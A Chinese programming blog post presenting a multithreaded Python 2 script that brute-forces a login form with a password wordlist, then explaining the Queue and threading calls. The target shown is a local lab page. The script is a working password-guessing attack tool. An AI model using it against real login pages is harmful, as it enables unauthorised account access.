美文网首页
[python]利用Queue和Threading编写爆破脚本

[python]利用Queue和Threading编写爆破脚本

作者: Seaer | 来源:发表于2018-01-16 14:44 被阅读0次

    0x01 简介

            由于项目需要,今天编写了一个爆破网站平台密码的一个简单的攻击脚本,结合Queue和Threading,我们可以将自己生成的字典保存到队列中,并利用多线程快速的读取字典,进行爆破。

    0x02 脚本

            不多说,直接上代码

    import requests
    import re
    import Queue
    import threading
    
    
    url = "http://127.0.0.1/shiyan/web1/login.php"
    thread = 10
    password = Queue.Queue()
    
    
    fp = open('password.txt','r')
    passworddata = fp.readlines()
    passworddatastr = ''.join(passworddata)
    passworddatalist = re.split('\n',passworddatastr)
    
    
    for passworddata in passworddatalist:
        password.put(passworddata)
    
    
    def burst():
    
        while not password.empty():
            passworddata = password.get()
            payload = {'username':'hello','password':passworddata}
            res = requests.post(url,payload)
    
    
            if "Login failed" not in res.text:
                print passworddata
                print 'success!!!'
    
    
    
    for i in range(thread):
        t = threading.Thread(target = burst)
        t.start()
    
    

    0x03 分析

            为什么要将Queue和Threading结合起来呢,这是因为,单独使用Threading进行多线程跑字典,会造成多个线程跑的是同一个字典,换句话说,就是10个线程跑了10遍字典,这并不是我们想要的,所以,我们需要用Queue将字典存入队列,多线程在执行队列中的元素时,会一个一个从队列中取出,保证每个线程取出的元素都是不同的,保证10个线程跑一遍字典。
            简单的介绍一下所用到的函数:
            password = Queue.Queue(),初始化队列,Queue()括号中可以加参数,意义是申请的队列长度,如果参数小于1,则长度为无限,这里没有赋值,我们申请的队列长度是无限。
            password.put(passworddata),将括号中参数的值传入到队列中
            password.empty(),判断队列是否为空
            passworddata = password.get(),调用队列对象的get()方法从队头删除并返回一个项目。

            threading.Thread(target = burst),开启多线程,执行名为burst的函数。

    相关文章

      网友评论

          本文标题:[python]利用Queue和Threading编写爆破脚本

          本文链接:https://www.haomeiwen.com/subject/nvmsoxtx.html